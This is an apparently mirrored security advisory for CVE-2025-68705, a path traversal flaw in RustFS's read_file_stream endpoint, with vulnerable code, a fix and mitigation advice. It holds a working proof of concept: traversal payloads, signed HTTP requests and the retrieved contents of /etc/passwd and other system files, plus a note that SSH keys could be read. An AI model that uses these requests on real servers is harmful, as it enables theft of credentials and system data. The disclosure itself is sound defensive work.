rustfs
Affected
- introduced
1.0.0-alpha.13, fixed1.0.0-alpha.79(semver)
Fixed versions
1.0.0-alpha.79
Fix
- Fixed version
1.0.0-alpha.79cargo update -p rustfs --precise 1.0.0-alpha.79
Advisory
Also known as: CVE-2025-68705
RustFS Path Traversal Vulnerability
RustFS Path Traversal Vulnerability
Vulnerability Details
/rustfs/rpc/read_file_stream endpointcrates/ecstore/src/disk/local.rs:1791Vulnerable Code
// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;
The code uses PathBuf::join() without:
../ sequencesProof of Concept
Test Environment
http://localhost:9000/rustfs/rpc/read_file_streamrustfsadmin (from RUSTFS_SECRET_KEY)/data/rustfs0.rustfs.sysAttack Scenario
Exploit Parameters
disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd # Path traversal payload
offset: 0
length: 751 # Must match file size
Required Authentication
RPC requests require HMAC-SHA256 signature:
# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
x-rustfs-timestamp: Unix timestamp
Successful Exploits
1. Read /etc/passwd ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485
Response: HTTP 200 OK
Content Retrieved:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin
Impact: Full user account enumeration
---
2. Read /etc/hosts ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172
Response: HTTP 200 OK
Content Retrieved:
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
[...]
172.20.0.3 d25e05a19bd2
Impact: Network configuration disclosure
---
3. Read /etc/hostname ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13
Response: HTTP 200 OK
Content Retrieved:
d25e05a19bd2
Impact: System information disclosure
---
Technical Analysis
Data Flow
1. HTTP Request
↓
2. RPC Signature Verification (verify_rpc_signature)
↓
3. Find Disk (find_local_disk)
↓
4. Read File Stream (disk.read_file_stream)
↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
→ /etc/passwd
Path Traversal Mechanism
// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"
// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
= "/etc/passwd" // Successfully escaped!
Why It Works
canonicalize() before validation../ sequencescheck_path_length() only checks string lengthSpecial Considerations
length parameter must exactly match file sizefile.len() >= offset + lengthDiskError::FileCorrupt.rustfs.sys)GLOBAL_LOCAL_DISK_MAPImpact Assessment
Confidentiality Impact: HIGH
/etc/passwd, /etc/hosts)/root/.ssh/id_rsa)/procIntegrity Impact: HIGH
put_file_stream (not tested)Availability Impact: MEDIUM
walk_dir endpoint could enumerate entire filesystemExploitation Requirements
Prerequisites
"rustfs-default-secret"Attack Complexity
Mitigation Recommendations
Immediate Actions (Priority 0)
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
let volume_dir = self.get_bucket_path(volume)?;
// CRITICAL FIX:
let file_path = volume_dir.join(Path::new(&path));
let canonical = file_path.canonicalize()
.map_err(|_| DiskError::FileNotFound)?;
// Validate path is within volume_dir
if !canonical.starts_with(&volume_dir) {
error!("Path traversal attempt detected: {:?}", path);
return Err(DiskError::InvalidArgument);
}
// Continue with validated path...
}
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
return Err(DiskError::InvalidArgument);
}
use path_clean::PathClean;
let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
return Err(DiskError::InvalidArgument);
}
Additional Security Measures
Long-term Improvements
Proof of Concept Script
High Basis: The source's own band: HIGH
1.0.0-alpha.13, fixed 1.0.0-alpha.79 (semver)1.0.0-alpha.79
1.0.0-alpha.79cargo update -p rustfs --precise 1.0.0-alpha.79Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0